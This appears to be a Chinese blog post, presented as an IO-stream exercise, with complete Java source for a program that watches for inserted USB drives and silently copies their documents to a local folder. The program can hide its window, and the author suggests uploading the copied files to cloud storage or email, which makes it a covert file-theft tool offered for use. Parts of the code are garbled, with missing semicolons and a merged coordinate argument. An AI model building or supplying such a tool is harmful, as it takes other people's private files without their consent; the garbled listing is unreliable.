java实现u盘内容的自动复制

 这个小程序的功能是,检查U盘,并将U盘的内容自动拷贝到系统的某个盘符中。分享给大家,就当作是练习io流的小练习。

 

这个小程序的实现方法如下:

1、程序运行后隔一断时间就检查系统的盘符有没有增加,通过File.listRoots()可获取系统存在的盘符。

2、如果盘符增加了,遍历这个新增加的盘符,用字节流拷贝文件到指定的路径。

 

需要注意的是,由于U盘的内容可能很大,所以拷贝的时候最好指定要拷贝的文件类型,如ppt,doc,txt等等。

 

下面是这个小程序的相关代码:

在CopyThread类中可以指定要复制的文件类型,大家在fileTypes数组中加入相应的文件后缀名即可。如果要复制所有文件,将其设为null就行了。在CopyFileToSysRoot类中可以指定存储的路径,当然,如果愿意的话,你可以将文件上传到网盘,邮箱等等。。。

 

一、USBMain类,程序入口:

 

  
  
  
  
  1. import java.awt.event.ActionEvent; 
  2. import java.awt.event.ActionListener; 
  3. import javax.swing.JButton; 
  4. import javax.swing.JFrame; 
  5.  
  6. public class USBMain { 
  7.  
  8.     public static void main(String[] args) { 
  9.         USBMain u = new USBMain(); 
  10.         u.launchFrame(); 
  11.         //开启盘符检查线程 
  12.         new CheckRootThread().start(); 
  13.     } 
  14.  
  15.     // 界面 
  16.     private void launchFrame() { 
  17.         final JFrame frame = new JFrame(); 
  18.         frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); 
  19.         frame.setLocation(450250); 
  20.         JButton hide = new JButton("点击隐藏窗口"); 
  21.         // 点击按钮后隐藏窗口事件监听 
  22.         hide.addActionListener(new ActionListener() { 
  23.             public void actionPerformed(ActionEvent e) { 
  24.                 frame.setVisible(false); 
  25.             } 
  26.         }); 
  27.         frame.add(hide); 
  28.         frame.pack(); 
  29.         frame.setVisible(true); 
  30.     } 

二、CheckRootThread类,此类用于检查新盘符的出现,并触发新盘符文件的拷贝。

 

  
  
  
  
  1. import java.io.File; 
  2.  
  3. //此类用于检查新盘符的出现,并触发新盘符文件的拷贝 
  4. public class CheckRootThread extends Thread { 
  5.     // 获取系统盘符 
  6.     private File[] sysRoot = File.listRoots(); 
  7.  
  8.     public void run() { 
  9.         File[] currentRoot = null
  10.         while (true) { 
  11.             // 当前的系统盘符 
  12.             currentRoot = File.listRoots(); 
  13.             if (currentRoot.length > sysRoot.length) { 
  14.                 for (int i = currentRoot.length - 1; i >= 0; i--) { 
  15.                     boolean isNewRoot = true
  16.                     for (int j = sysRoot.length - 1; j >= 0; j--) { 
  17.                         // 当两者盘符不同时,触发新盘符文件的拷贝 
  18.                         if (currentRoot[i].equals(sysRoot[j])) { 
  19.                             isNewRoot = false
  20.                         } 
  21.                     } 
  22.                     if (isNewRoot) { 
  23.                         new CopyThread(currentRoot[i]).start(); 
  24.                     } 
  25.                 } 
  26.             } 
  27.             sysRoot = File.listRoots(); 
  28.             //每5秒时间检查一次系统盘符 
  29.             try { 
  30.                 Thread.sleep(5000); 
  31.             } catch (InterruptedException e) { 
  32.                 e.printStackTrace(); 
  33.             } 
  34.         } 
  35.     } 

三、CopyThread类,用于文件遍历并选择指定文件格式进行复制:

 

  
  
  
  
  1. import java.io.File; 
  2.  
  3. //该类用于对新盘符文件的复制 
  4. public class CopyThread extends Thread { 
  5.     // 设置要复制的文件类型,如果要复制所有格式的文件,将fileTypes设为null即可 
  6.     private static String[] fileTypes = {"ppt","doc","txt","wps"}; 
  7.     // private static String[] fileTypes = null; 
  8.  
  9.     File file = null
  10.  
  11.     public CopyThread(File file) { 
  12.         this.file = file; 
  13.     } 
  14.  
  15.     public void run() { 
  16.         listUsbFiles(file); 
  17.     } 
  18.      
  19.     //遍历盘符文件,并匹配文件复制 
  20.     private void listUsbFiles(File ufile) { 
  21.         File[] files = ufile.listFiles(); 
  22.         for (File f : files) { 
  23.             if (f.isDirectory()) { 
  24.                 listUsbFiles(f); 
  25.             } else { 
  26.                 if (fileTypeMatch(f)) 
  27.                     new CopyFileToSysRoot(f).doCopy(); 
  28.             } 
  29.         } 
  30.     } 
  31.  
  32.     //匹配要复制的文件类型 
  33.     public boolean fileTypeMatch(File f) { 
  34.         //fileTypes为null时,则全部复制 
  35.         if (fileTypes == null) { 
  36.             return true
  37.         } else { 
  38.             for (String type : fileTypes) { 
  39.                 if (f.getName().endsWith("." + type)) { 
  40.                     return true
  41.                 } 
  42.             } 
  43.         } 
  44.         return false
  45.     } 

四、CopyFileToSysRoot类,复制文件的IO流实现:

 

  
  
  
  
  1. import java.io.BufferedInputStream; 
  2. import java.io.BufferedOutputStream; 
  3. import java.io.File; 
  4. import java.io.FileInputStream; 
  5. import java.io.FileNotFoundException; 
  6. import java.io.FileOutputStream; 
  7. import java.io.IOException; 
  8.  
  9. //文件复制IO 
  10. public class CopyFileToSysRoot { 
  11.     // 复制文件保存路径 
  12.     private static final String PATH = "D:\\USB"
  13.     private File file = null
  14.  
  15.     public CopyFileToSysRoot(File file) { 
  16.         this.file = file; 
  17.     } 
  18.  
  19.     // 复制文件 
  20.     public void doCopy() { 
  21.         BufferedInputStream bis = null
  22.         BufferedOutputStream bos = null
  23.  
  24.         try { 
  25.             //创建目录 
  26.             File fPath = new File(getFileParent(file)); 
  27.             if (!fPath.exists()) { 
  28.                 fPath.mkdirs(); 
  29.             } 
  30.  
  31.             bis = new BufferedInputStream(new FileInputStream(file)); 
  32.             bos = new BufferedOutputStream(new FileOutputStream(new File(fPath, 
  33.                     file.getName()))); 
  34.  
  35.             byte[] buf = new byte[1024]; 
  36.             int len = 0
  37.             while ((len = bis.read(buf)) != -1) { 
  38.                 bos.write(buf, 0, len); 
  39.                 bos.flush(); 
  40.             } 
  41.         } catch (FileNotFoundException e) { 
  42.             e.printStackTrace(); 
  43.         } catch (IOException e) { 
  44.             e.printStackTrace(); 
  45.         } finally { 
  46.             try { 
  47.                 if (bis != null
  48.                     bis.close(); 
  49.             } catch (IOException e) { 
  50.                 e.printStackTrace(); 
  51.             } 
  52.             try { 
  53.                 if (bos != null
  54.                     bos.close(); 
  55.             } catch (IOException e) { 
  56.                 e.printStackTrace(); 
  57.             } 
  58.         } 
  59.     } 
  60.  
  61.     // 根据盘符中文件的路径,创建复制文件的文件路径 
  62.     public String getFileParent(File f) { 
  63.         StringBuilder sb = new StringBuilder(f.getParent()); 
  64.         int i = sb.indexOf(File.separator); 
  65.         sb.replace(0, i, PATH); 
  66.         return sb.toString(); 
  67.     } 

 

你可能感兴趣的:(java,u盘复制)